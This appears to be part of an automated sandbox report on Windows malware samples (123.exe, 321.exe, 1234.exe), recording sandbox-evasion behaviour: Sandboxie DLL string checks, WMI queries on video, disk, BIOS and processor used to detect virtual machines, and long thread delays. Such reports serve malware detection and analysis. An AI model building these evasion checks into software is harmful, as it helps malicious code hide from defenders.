Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Source: 1234.exe, 00000004.00000002.379579196.000000000313C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: SBIEDLL.DLL@
Source: 123.exe, 00000002.00000002.365887055.0000000002D4D000.00000004.00000800.00020000.00000000.sdmp, 321.exe, 00000003.00000002.374973505.0000000002F40000.00000004.00000800.00020000.00000000.sdmp, 1234.exe, 00000004.00000002.379579196.00000000033EB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: SBIEDLL.DLLD
Source: 1234.exe, 00000004.00000002.379579196.00000000033EB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: SBIEDLL.DLL0MP
Source: 1234.exe, 00000004.00000002.379579196.00000000033EB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: SBIEDLL.DLL

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_VideoController

Queries sensitive disk information (via WMI, Win32_DiskDrive, often done to detect virtual machines)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_DiskDrive

Source: C:\Windows\Temp\123.exe TID: 2620	Thread sleep time: -9223372036854770s >= -30000s	Jump to behavior
Source: C:\Windows\Temp\123.exe TID: 2620	Thread sleep time: -100000s >= -30000s	Jump to behavior
Source: C:\Windows\Temp\123.exe TID: 3124	Thread sleep count: 3674 > 30	Jump to behavior
Source: C:\Windows\Temp\123.exe TID: 2620	Thread sleep time: -99838s >= -30000s	Jump to behavior
Source: C:\Windows\Temp\123.exe TID: 2620	Thread sleep time: -99685s >= -30000s	Jump to behavior
Source: C:\Windows\Temp\123.exe TID: 2620	Thread sleep time: -99553s >= -30000s	Jump to behavior
Source: C:\Windows\Temp\123.exe TID: 2620	Thread sleep time: -99398s >= -30000s	Jump to behavior
Source: C:\Windows\Temp\123.exe TID: 2620	Thread sleep time: -99252s >= -30000s	Jump to behavior
Source: C:\Windows\Temp\123.exe TID: 2620	Thread sleep time: -99093s >= -30000s	Jump to behavior
Source: C:\Windows\Temp\123.exe TID: 2620	Thread sleep time: -98958s >= -30000s	Jump to behavior
Source: C:\Windows\Temp\123.exe TID: 2620	Thread sleep time: -98832s >= -30000s	Jump to behavior
Source: C:\Windows\Temp\123.exe TID: 2620	Thread sleep time: -98713s >= -30000s	Jump to behavior
Source: C:\Windows\Temp\123.exe TID: 2620	Thread sleep time: -98540s >= -30000s	Jump to behavior
Source: C:\Windows\Temp\123.exe TID: 2620	Thread sleep time: -98409s >= -30000s	Jump to behavior
Source: C:\Windows\Temp\123.exe TID: 2620	Thread sleep time: -98292s >= -30000s	Jump to behavior
Source: C:\Windows\Temp\123.exe TID: 2620	Thread sleep time: -98187s >= -30000s	Jump to behavior
Source: C:\Windows\Temp\123.exe TID: 2620	Thread sleep time: -98071s >= -30000s	Jump to behavior
Source: C:\Windows\Temp\123.exe TID: 2620	Thread sleep time: -97930s >= -30000s	Jump to behavior
Source: C:\Windows\Temp\123.exe TID: 3156	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\Temp\321.exe TID: 4928	Thread sleep time: -12912720851596678s >= -30000s	Jump to behavior
Source: C:\Windows\Temp\321.exe TID: 4928	Thread sleep time: -100000s >= -30000s	Jump to behavior
Source: C:\Windows\Temp\321.exe TID: 4928	Thread sleep time: -99729s >= -30000s	Jump to behavior
Source: C:\Windows\Temp\321.exe TID: 4920	Thread sleep count: 4002 > 30	Jump to behavior
Source: C:\Windows\Temp\321.exe TID: 4928	Thread sleep time: -99591s >= -30000s	Jump to behavior
Source: C:\Windows\Temp\321.exe TID: 4928	Thread sleep time: -99456s >= -30000s	Jump to behavior
Source: C:\Windows\Temp\321.exe TID: 4928	Thread sleep time: -99320s >= -30000s	Jump to behavior
Source: C:\Windows\Temp\321.exe TID: 4928	Thread sleep time: -99209s >= -30000s	Jump to behavior
Source: C:\Windows\Temp\321.exe TID: 4928	Thread sleep time: -99064s >= -30000s	Jump to behavior
Source: C:\Windows\Temp\321.exe TID: 4928	Thread sleep time: -98906s >= -30000s	Jump to behavior
Source: C:\Windows\Temp\321.exe TID: 4928	Thread sleep time: -98703s >= -30000s	Jump to behavior
Source: C:\Windows\Temp\321.exe TID: 4928	Thread sleep time: -98530s >= -30000s	Jump to behavior
Source: C:\Windows\Temp\321.exe TID: 4928	Thread sleep time: -98397s >= -30000s	Jump to behavior
Source: C:\Windows\Temp\321.exe TID: 4928	Thread sleep time: -98270s >= -30000s	Jump to behavior
Source: C:\Windows\Temp\321.exe TID: 4928	Thread sleep time: -98153s >= -30000s	Jump to behavior
Source: C:\Windows\Temp\321.exe TID: 4928	Thread sleep time: -98040s >= -30000s	Jump to behavior
Source: C:\Windows\Temp\321.exe TID: 4928	Thread sleep time: -97921s >= -30000s	Jump to behavior
Source: C:\Windows\Temp\321.exe TID: 4928	Thread sleep time: -97775s >= -30000s	Jump to behavior
Source: C:\Windows\Temp\321.exe TID: 4928	Thread sleep time: -97664s >= -30000s	Jump to behavior
Source: C:\Windows\Temp\321.exe TID: 4928	Thread sleep time: -97562s >= -30000s	Jump to behavior
Source: C:\Windows\Temp\321.exe TID: 4956	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\Temp\1234.exe TID: 3312	Thread sleep time: -6456360425798339s >= -30000s
Source: C:\Windows\Temp\1234.exe TID: 3312	Thread sleep time: -100000s >= -30000s
Source: C:\Windows\Temp\1234.exe TID: 3312	Thread sleep time: -99843s >= -30000s
Source: C:\Windows\Temp\1234.exe TID: 2576	Thread sleep count: 3629 > 30
Source: C:\Windows\Temp\1234.exe TID: 3312	Thread sleep time: -99500s >= -30000s
Source: C:\Windows\Temp\1234.exe TID: 3312	Thread sleep time: -99327s >= -30000s
Source: C:\Windows\Temp\1234.exe TID: 3312	Thread sleep time: -99197s >= -30000s
Source: C:\Windows\Temp\1234.exe TID: 3312	Thread sleep time: -98975s >= -30000s
Source: C:\Windows\Temp\1234.exe TID: 3312	Thread sleep time: -98846s >= -30000s
Source: C:\Windows\Temp\1234.exe TID: 3312	Thread sleep time: -98703s >= -30000s
Source: C:\Windows\Temp\1234.exe TID: 3312	Thread sleep time: -98570s >= -30000s
Source: C:\Windows\Temp\1234.exe TID: 3312	Thread sleep time: -98452s >= -30000s
Source: C:\Windows\Temp\1234.exe TID: 3312	Thread sleep time: -98339s >= -30000s
Source: C:\Windows\Temp\1234.exe TID: 3312	Thread sleep time: -98233s >= -30000s
Source: C:\Windows\Temp\1234.exe TID: 3312	Thread sleep time: -98098s >= -30000s
Source: C:\Windows\Temp\1234.exe TID: 3312	Thread sleep time: -97965s >= -30000s
Source: C:\Windows\Temp\1234.exe TID: 3312	Thread sleep time: -97845s >= -30000s
Source: C:\Windows\Temp\1234.exe TID: 3312	Thread sleep time: -97713s >= -30000s
Source: C:\Windows\Temp\1234.exe TID: 4916	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 6936	Thread sleep count: 9269 > 30
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7092	Thread sleep time: -13835058055282155s >= -30000s
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 6176	Thread sleep time: -12912720851596678s >= -30000s
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 6404	Thread sleep time: -12912720851596678s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 5932	Thread sleep count: 682 > 30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 6492	Thread sleep time: -1000000s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 7028	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 7028	Thread sleep time: -100000s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 7028	Thread sleep time: -99759s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 7112	Thread sleep count: 399 > 30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 7028	Thread sleep time: -99608s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 1020	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 5212	Thread sleep time: -922337203685477s >= -30000s

Source: C:\Users\user\Desktop\file.exe

Evasive API call chain: GetLocalTime,DecisionNodes

graph_0-22096

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Last function: Thread delayed
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Windows\Temp\123.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\Temp\123.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\Temp\321.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\Temp\321.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\Temp\1234.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\Temp\1234.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 1000000
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 922337203685477

Source: C:\Windows\Temp\123.exe	Window / User API: threadDelayed 3674	Jump to behavior
Source: C:\Windows\Temp\321.exe	Window / User API: threadDelayed 4002	Jump to behavior
Source: C:\Windows\Temp\1234.exe	Window / User API: threadDelayed 3629
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Window / User API: threadDelayed 4494
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 9269
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 9038
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 9173
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Window / User API: threadDelayed 682
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Window / User API: threadDelayed 399

Source: C:\Windows\Temp\11.exe

API coverage: 3.8 %

Source: C:\Windows\Temp\123.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from Win32_ComputerSystem
Source: C:\Windows\Temp\321.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from Win32_ComputerSystem
Source: C:\Windows\Temp\1234.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from Win32_ComputerSystem

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Registry key enumerated: More than 149 enums for key HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor

Source: C:\Windows\Temp\123.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from Win32_BIOS
Source: C:\Windows\Temp\321.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from Win32_BIOS
Source: C:\Windows\Temp\1234.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from Win32_BIOS

Source: C:\Windows\Temp\123.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\Temp\123.exe	Thread delayed: delay time: 100000	Jump to behavior
Source: C:\Windows\Temp\123.exe	Thread delayed: delay time: 99838	Jump to behavior
Source: C:\Windows\Temp\123.exe	Thread delayed: delay time: 99685	Jump to behavior
Source: C:\Windows\Temp\123.exe	Thread delayed: delay time: 99553	Jump to behavior
Source: C:\Windows\Temp\123.exe	Thread delayed: delay time: 99398	Jump to behavior
Source: C:\Windows\Temp\123.exe	Thread delayed: delay time: 99252	Jump to behavior
Source: C:\Windows\Temp\123.exe	Thread delayed: delay time: 99093	Jump to behavior
Source: C:\Windows\Temp\123.exe	Thread delayed: delay time: 98958	Jump to behavior
Source: C:\Windows\Temp\123.exe	Thread delayed: delay time: 98832	Jump to behavior
Source: C:\Windows\Temp\123.exe	Thread delayed: delay time: 98713	Jump to behavior
Source: C:\Windows\Temp\123.exe	Thread delayed: delay time: 98540	Jump to behavior
